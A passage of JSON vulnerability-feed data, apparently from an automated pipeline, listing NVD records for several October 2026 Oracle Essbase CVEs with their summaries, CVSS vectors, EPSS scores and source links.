use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91664","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91664","type":"primary","publishedAt":"2026-10-20T22:21:06.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91664&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91664, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91661","cveId":"CVE-2026-91661","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:06.493Z","updatedAt":"2026-10-23T17:18:44.280Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91661","asOf":"2026-10-23T17:18:44.280Z"},"epss":{"probability":0.00318,"percentile":0.24475,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91661","type":"primary","publishedAt":"2026-10-20T22:21:06.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91659","cveId":"CVE-2026-91659","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Build).","summary":"Vulnerability in Oracle Essbase (component: Build).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in Oracle Essbase (component: Build).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:06.263Z","updatedAt":"2026-10-23T17:18:53.277Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91659","asOf":"2026-10-23T17:18:53.277Z"},"epss":{"probability":0.00246,"percentile":0.15749,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91659","type":"primary","publishedAt":"2026-10-20T22:21:06.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91653","cveId":"CVE-2026-91653","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Essbase Web Platform).","summary":"Vulnerability in Oracle Essbase (component: Essbase Web Platform).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).","detail":"Vulnerability in Oracle Essbase (component: Essbase Web Platform).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:05.567Z","updatedAt":"2026-10-23T15:00:10.417Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91653","asOf":"2026-10-23T15:00:10.417Z"},"epss":{"probability":0.0021,"percentile":0.11091,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91653&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91653","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91653","type":"primary","publishedAt":"2026-10-20T22:21:05.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91653&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91653, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91651","cveId":"CVE-2026-91651","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Essbase Web Platform).","summary":"Vulnerability in Oracle Essbase (component: Essbase Web Platform).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Essbase (component: Essbase Web Platform).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:05.350Z","updatedAt":"2026-10-23T14:59:36.610Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91651","asOf":"2026-10-23T14:59:36.610Z"},"epss":{"probability":0.00309,"percentile":0.23507,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91651&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91651","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91651","type":"primary","publishedAt":"2026-10-20T22:21:05.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91651&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91651, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91647","cveId":"CVE-2026-91647","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:04.900Z","updatedAt":"2026-10-23T17:19:13.367Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91647","asOf":"2026-10-23T17:19:13.367Z"},"epss":{"probability":0.00329,"percentile":0.25841,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91647&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91647","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91647","type":"primary","publishedAt":"2026-10-20T22:21:04.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91647&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91647, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91642","cveId":"CVE-2026-91642","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Essbase accessible data as well as  unauthorized read access to a subset of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Essbase accessible data as well as  unauthorized read access to a subset of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:04.310Z","updatedAt":"2026-10-23T14:57:53.440Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91642","asOf":"2026-10-23T14:57:53.440Z"},"epss":{"probability":0.00251,"percentile":0.16436,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91642","type":"primary","publishedAt":"2026-10-20T22:21:04.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91639","cveId":"CVE-2026-91639","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:03.930Z","updatedAt":"2026-10-23T14:57:20.673Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91639","asOf":"2026-10-23T14:57:20.673Z"},"epss":{"probability":0.00393,"percentile":0.33133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91639","type":"primary","publishedAt":"2026-10-20T22:21:03.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91636","cveId":"CVE-2026-91636","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:03.580Z","updatedAt":"2026-10-23T17:19:24.173Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91636","asOf":"2026-10-23T17:19:24.173Z"},"epss":{"probability":0.00393,"percentile":0.3313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91636&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91636","type":"primary","publishedAt":"2026-10-20T22:21:03.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91636&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91636, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91635","cveId":"CVE-2026-91635","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 